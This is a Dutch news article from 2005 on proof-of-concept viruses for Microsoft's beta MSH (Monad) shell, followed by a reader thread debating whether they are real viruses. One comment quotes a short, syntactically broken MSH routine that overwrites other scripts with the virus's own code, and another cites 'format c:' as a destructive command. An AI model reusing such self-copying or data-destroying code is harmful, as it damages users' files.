Eerste virussen voor nieuwe Microsoft-shell opgedoken

Een Oostenrijkse programmeur heeft een aantal proof-of-concept virussen gepubliceerd in een tijdschrijft voor virusschrijvers. De kwaadaardige scripts richten zich met name op de Microsoft Command Shell (MSH), die kandidaat is om de traditionele 'cmd' en 'command.com' te vervangen als standaardshell in Windows. Deze scripting shell biedt onder andere vergelijkbare mogelijkheden als de Linux-commandline, zodat systeembeheerders een computer volledig tekstgebaseerd kunnen controleren en beheren. De definitieve beslissing om MSH, met de codenaam Monad, als standaard shell te implementeren in Windows Vista is echter nog niet gemaakt. Het lijkt er ondertussen overigens meer op dat de shell als onderdeel van Exchange 12 gelanceerd zal worden in de tweede helft van 2006, nog voor Windows Vista beschikbaar wordt. Bovendien zal het mogelijk zijn de shell aan Windows XP en Windows Server 2003 toe te voegen, zodat het hierbij niet om specifieke Vista-technologie gaat.

MSH is dan ook geen onderdeel van de Windows Vista-bèta die vorige week verspreid werd onder een besloten groep bètatesters, maar is wel apart verkrijgbaar in een bètaversie. De gepubliceerde virussen richten volgens F-Secure niet echt schade aan, maar zouden aangepast kunnen worden. Microsoft liet ondertussen al weten dat deze virussen op dit moment nog geen risico inhouden voor zijn klanten. Het gaat nog om een bètaversie van de shell, die bovendien nog niet publiek beschikbaar is. Om virusverspreiding tegen te gaan zal Monad enkel scripts uitvoeren die digitaal getekend zijn door een 'vertrouwd persoon'. Bovendien zal het niet mogelijk zijn een script op te starten door erop te dubbelklikken, wat de drempel om onbekende bijlages moet verhogen voor onwetende computergebruikers. In tegenstelling tot wat veel sites melden, zijn Windows Vista Beta 1-gebruikers niet vatbaar voor deze virussen, gezien het ontbreken van de Microsoft Command Shell op deze systemen.

Voorbeeld Microsoft Command Shell
Een screenshot uit een Powerpoint-presentatie over MSH

Door Yoeri Lauwers

Eindredacteur

05-08-2005 • 09:58

67

Reacties (67)

67
62
30
12
5
20
Wijzig sortering
Hier wat meer info over de virussen:
http://www.f-secure.com/v-descs/danom.shtml
Ik heb geprobeerd om uit te vissen hoe deze virussen juist werken, hoe ze verspreiden, en wat ze doen, maar vind niet echt nuttige informatie.
Het enige dat ik kan vinden is dat eens de virus geactiveerd is, hij code gaat toevoegen aan andere MSH scripts, ofwel andere MSHscripts gaat overschrijven met zijn eigen code.
Nu volgens microsoft kan je zo'n MSH script niet opstarten via een dubbelklik of dergelijke, maar moet de gebruiker het script *impliciet zelf opstarten*!
Is het dan eigenlijk nog een virus :?
$name_array=get-childitem *.msh
foreach ($name in $name_array)
{
if ($name.Length -eq 249)
$my_file=$name.Name
}
}

foreach ($victim in $name_array)
{
if ($name.Length -ne 249)
{
copy-item $my_file $name.Name
}
}
tjah, hoe men dit een virus durft noemen ? Dit is een script dat andere scripts vervangt ? Ge kon zelfs met .bat files dingen prutsen zo, en elke *nix script kan dat ook. Dit kan men in elke script en programmeertaal simpelweg maken eigenlijk...
Hoe leuk MS bashing soms ook kan zijn, hier MS op aanpakken is gewoonweg zielig. Dit zegt hoegenaamd NIETS over veiligheid in Vista.... Zo'n script MOET uitvoeren, wat immers als ik nu gewoon wil zoiets uitvoeren ?
Wat wel belangrijk is, is de manier waarop zo'n script binnenkomen op een PC en uitgevoerd worden. Als een mailclient dit in bijlage geeft en gewoon uitvoert, dan kan dit een probleem vormen ja. Als de gebruiker nu zelf dit uitvoert, dan is dit toch prima ?
elke e-mail worm in de vorm van britney_naked.exe moet opgestart worden, enr wordt toch ook als een virus gezien.
Wiens schuld is het dan als de gebruiker dit uitvoert?
Je mag eender welk OS hebben, als ik je een bestand stuur met daarin het commando "format c:\" (of natuurlijk de juiste variant voor dat OS), en je voert dit bestand uit, ...

Ik ben volledig akkoord dat windows standaard administrator rechten geeft aan elke nieuwe account, en onder andere OSen niet. Maar ik ben er 100% zeker van dat wanneer Mircosoft bij een volgend OS dit ook niet meer doet, 99% van de gebruikers steeds met de admin-account inlogt, ofwel zijn eigen account admin rechten geeft. En dan zitten we ook weer met het voorbeeld hierboven.

IMHO Mag je 75% van de trojans geen virus noemen, omdat het een doodgewone programma's zijn, die een gebruiker zelf uitvoert, maar enkel niet doen, wat de gebruiker verwacht dat ze doen. Dit kan je met alle OSen hebben.
idd, dit Administrator probleem is niet puur MS zijn probleem, integendeel


veel software van MS wérkt immers prima met gebruikersrechten...

Maar de gebruiker vindt het irritant dat hij iets niet kan installeren zonder admin te zijn... sorry, dat doe je toch in *nix ook niet ?? De ondersteuning en flexibiliteit om ook als user in je eigen mappen te isntalleren kan misschien beter, maar het is niet dat veiliger werken niet mogelijk is.

Oh ja, en de talloze programma's die admin rechten nodig hebben, zonder gegronde reden ? Of sommige programma's vinden het zelfs nodig om standaard in de Program Files folder te gaan schrijven (laatst eens eMule bekeken)... wat zijn dat voor dommigheden ?

Nogmaals, hoe leuk en makkelijk MS bashing ook is, men moet eens verder kijken dan zijn neus lang is he
@KayJay

Wat heeft het uitvoeren van bestanden nu met lekken in het OS te maken? Het is gewoon een actie van de gebruiker en zou, indien gerechtigd dit te doen, uitgevoerd moeten worden.
niet executeerbare .exe bestanden bestaan niet.
Wanneer ik een .txt document rename naar .exe, kan ik het gewoon uitvoeren?

En dan nog ... In Windows is het ook mogelijk om executables onder een bepaald gebruikers account niet uit te laten voeren... Dat jij niet weet dat het mogelijk is, wil nog niet zeggen dat het niet mogelijk is...

Wordt een beetje moe van die clueless mensen die een beetje met onwaarheden lopen te spammen hier...
Maar de gebruiker vindt het irritant dat hij iets niet kan installeren zonder admin te zijn... sorry, dat doe je toch in *nix ook niet ?? De ondersteuning en flexibiliteit om ook als user in je eigen mappen te isntalleren kan misschien beter, maar het is niet dat veiliger werken niet mogelijk is.
Nee het probleem zit hem in het feit dat een bestand uitvoerbaar is aan de hand van de extentie die hij heeft.

niet executeerbare .exe bestanden bestaan niet.
in Unix kan je een uitvoerbaar bestand niet uitvoerbaar maken of juist uitvoerbaar maken voor installatie.

dit is lek nummer 1 in Windows gebaseerde systemen.
Op een apple is het zo dat je als gewone gebruiker vrij veel kan, je hebt niet het gevoel dat je liever als root ingelogd zou zijn.
Alleen zodra je een programma gaat installeren, wordt om een wachtwoord van een gebruiker met administratieve rechten gevraagd (ook al ben jij die gebruiker er reeds ingelogd).
Dat geeft de gebruiker toch net even vijf seconden denktijd.

Natuurlijk gebruikt de huis-tuin-en-keuken gebruiker die tijd niet, maar op de één of andere manier ben ik voor de mac nog nooit een programma tegengekomen die na het invullen van mijn wachtwoord van mijn computer meteen een smtp-server maakt waar spammers dankbaar gebruik van kunnen maken.
reactie op KayJay:
Dit extentie-probleem wordt dus nog erger doordat extenties verborgen (kunnen) zijn. De gebruikelijke truuk om te doen of iets een plaatje is maar het is een executable. Maar mooi dat deze monad scripts niet automatisch startbaar worden. Stap in de goede richting.
Is het dan eigenlijk nog een virus?
Tuurlijk, denk eens aan de 'geplande taken' op een server (in de vorm van scriptjes).
Als iemand dus scriptjes in z'n geplande taken heeft die op een bepaald moment moeten gaan draaien, en dat is een van de belangrijkste features van de taakplanner, en die scriptjes worden overschreven, dan ben je diep de sjaak, omdat zodoende het virus kan gaan bepalen welke taken uitgevoerd worden, zoals elke maandag alle info over jouw computer en jouw cookies en bestanden naar een bepaald email-adres sturen, aangezien de taakplanner met beheerders (root/administrators) rechten draait.
feit blijft dat het "virus" eerst nog binnen moet komen en actief moet worden. en dat schijnt niet automatisch te gebeuren. geen virus dus. hooguit een trojan. en dan nog een die je zelf kan analyseren door de code te lezen.
een shell dat checked en replaced... doet niet iedere shell dit?
tevens het bashen van een stuk beta software.. is het nou niet de bedoeling van beta software dat men de fouten vindt en eruit haalt.
imo is f-secure een beetje kabaal aan 't maken voor niets
Nou, ik heb liever dat ze nog in de beta-fase met proof-of-concepts aantonen wat er fout kan gaan - dan kan er nog wat aan gedaan worden voordat het gereleased wordt. Dat f-secure daar meteen een PR stunt van maakt vind ik ook niet erg, het is nuttig en ze verdienen nu eenmaal niet hun geld met het fixen van Microsofts problemen maar met het verkopen van software, dus het is ze gegund :P
bash??? dit was toch geen bash, was toch MSH??? O_o
bashen niet bash

pak een woordenboek
of
praat met mensen
of
probeer niet zo slim te zijn
ik dacht dat Apple achter de NIXen aanhobbelt hoor ;)
MS hobbelt weer achter Apple aan.

Wel grappig trouwens dat de Linux community wat meer grafisch wil gaan doen vanuit een text-based positie, en MS juist vanuit een grafische positie wat meer text-based wil worden.

edit: was reactie op azteke
Een krachtige shell is iets waar veel systeembeheerders al jaren achter vragen. Als je de mogelijkheden bekijkt van de linux shell en je bemerkt dat je deze vanaf eender waar kan besturen via bijvoorbeeld SSH dan zie je direct de kracht.

Het grafische aan linux is vooral voor de thuisgebruiker uiteindelijk, en niet voor systeembeheerders.
Gaan we weer, ik vermoed dat er toch nog steeds meer linux-admins zijn die stiekum wel een grafische interface gebruiken.

Een GUI is gewoon heel erg practisch en gebruiksvriendelijk, kijk naar W2K of W2K3 bijna alles is te regelen via de GUI, het is vele malen practischer om een AD-hierarchie op te zetten en dit grafisch te kunnen doen, dan dit te moeten doen in zwart-witte SSH-venstertjes en config-files, het overzicht is dan ver te zoeken.

Echter valt natuurlijk niet te ontkennen dat een GUI resouces eet die te gebruiken zou zijn voor andere (lees kern) taken waarvoor deze server is.
ja, natuurlijk gebruiken linux/unix beheerders een GUI. Je kunt daar namelijk meer (virtual) consoles tegelijkertijd openen... veel handiger. je kunt dan de man page naast je vi met sendmail configuratie houden... :+
hoef je mij niet te vertellen hoor ;) (ik draai linux en solaris (sparc64) )

dat was van die overgang was alleen redelijk sarcastisch bedoeld.
Ja, de toonzetting van het aktikel is helemaal fout.

Er wordt een nieuwe batch *programmaartaal* geintroduceerd en vervolgens is de enige reactie dat je met die taal kwaadaardige programma's kunt maken.

Ja, DUH! Dat kan natuurlijk met alle programmeertalen.
Nou, ben ik niet met je eens. Apple bedenkt juist dingen waar de UNIX wereld al een tijdje tegenaan botst, ik meen bijvoorbeel de bootloader (of de deamon starter, zoiets); ars technica heeft daar een flink uitgebreid artikel over. Ik denk dus eerder dat Apple wdb. gewoon zijn eigen weg is ingeslagen.
Tja, die nieuwe shell moest natuurlijk meer kunnen dan de bekende unix-shells. Een van de features is kennelijk support voor virussen :)

@84hannes: de details gaan iets te ver voor hier, maar in de unix-filosofie is het niet het script dat vertrouwd moet zijn, maar degene die het script start.
Thja, als MS vind dat alle programma's moeten kunnen werken in de nieuwe shell, dan moeten virussen ook kunnen werken.

Want, hoe gevaarlijk/gemeen virussen ook zijn, het blijven stukken software (= programmma's)
reboot, shutdown, delete, format, regfiles, dllbestanden aanmaken, etc. Of dat allemaal achterelkaar in een Batch.. het zijn allemaal commando's die een computer kan/mag uitvoeren.
In tegendeel,

om een script te kunnen draaien moet deze vertouwd zijn, en er zijn ingewikkelde handelingen nodig om een script te kunnen starten. Deze MSH is dus juist minder geschikt voor het draaien van virussen dan de Bash, welke naar mijn weten elk script zonder moeite voor je draait.
NOT!
In Bash moet de gebruiker executie (-x-) rechten voor een bestand hebben om een script uit te voeren. Dus tenzij een bestand '-rwxrwxrwx' als priviliges heeft staan, kan het niet zonder meer worden uitgevoerd.
Of je virus moet root rechten hebben en even een chmod 777 <bestand> voor je doen...
En dat moet je met monad waarsch. net zo goed
net zoals je dat met de cmd moet.

Probeer bijvoorbeeld maar eens bestanden te deleten, waar je geen rechten toe hebt.
ze kunnen niet meer... in *nix scripts gaat dit evenzeer
In werkelijkheid is dit geeneens zo spannend: een stukje tekst plakken in een ander tekstbestand (dus ook een script) kan iedere normale shell wel.

Maar als er virussen komen gebaseerd op deze shell, dan zullen deze waarschijnlijk gebruik maken van de .NET georienteerde zaken en alle andere features van het systeem. Allemaal leuk zo dat je allerlei flauwekul van draaiende programma's kan beinvloeden, maar ik denk zeker dat dit een risico gaat vormen.

Je kan je afvragen of een 'krachtige scripttaal' ook als shell zou moeten dienen. Je hebt bijvoorbeeld ook perlsh en pysh (beiden bekende scripttalen), maar shells als bash, zsh en bijvoorbeeld fish (http://roo.no-ip.org/) zijn voornamelijk echt gebouwd op user interactie. Voor andere zaken worden awk, sed en later perl en andere scripttalen gebruikt.

Echt KISS is het niet: http://www.faqs.org/docs/artu/ch01s07.html

Maarja, those who don't understand UNIX are condemned to re-invent it, poorly.
Je kunt het script zelf misschien wel niet starten door 'em gewoonweg te openen "dubbelklikken", maar dat kan nog altijd geregeld worden door een ander script of programmaatje.
> Share rechten staan standaard op everyone, read. En
> wanneer je iets shared, hoor je er zelf aan te denken
> om het te beveiligen zoals jij het wilt.

Geleuter... Als je iets shared, dan wil je dat er per definitie alsnog geen rechten worden weggegeven. Sorry dat ik nu weer met Apple ga lopen dwepen, maar zet je daar SMB sharing aan op je homedir, dan werkt toegang alleen voor jou account+password, tenzij je andere accounts toevoegt.
Bovendien zal het niet mogelijk zijn een script op te starten door erop te dubbelklikken.

Weer een echte windows securety.

script dubble klicken lijkt mij just erg practisch. Scripts > *
Grappig...

heeft die nieuwe SHell, als ik het goed zie, nu een automatische spellchecker? :+
Nope. Volgens de ondertekst is het een screenshot uit een Powerpointpresentatie.
Het is natuurlijk een copy-paste uit de shell window, op de ppt sheet. Die underlines komen dus wel uit powerpoint ;)
Mischien is het een "concept-tekening" die gemaakt is met MS PowerPoint. ;)
Ah! Dan is het dus GEEN screenshot! Zoals de onderschrift aangeeft...
een screenshot van een powerpoint presentatie over MSH

lezen is toch moeilijk he :7

Op dit item kan niet meer gereageerd worden.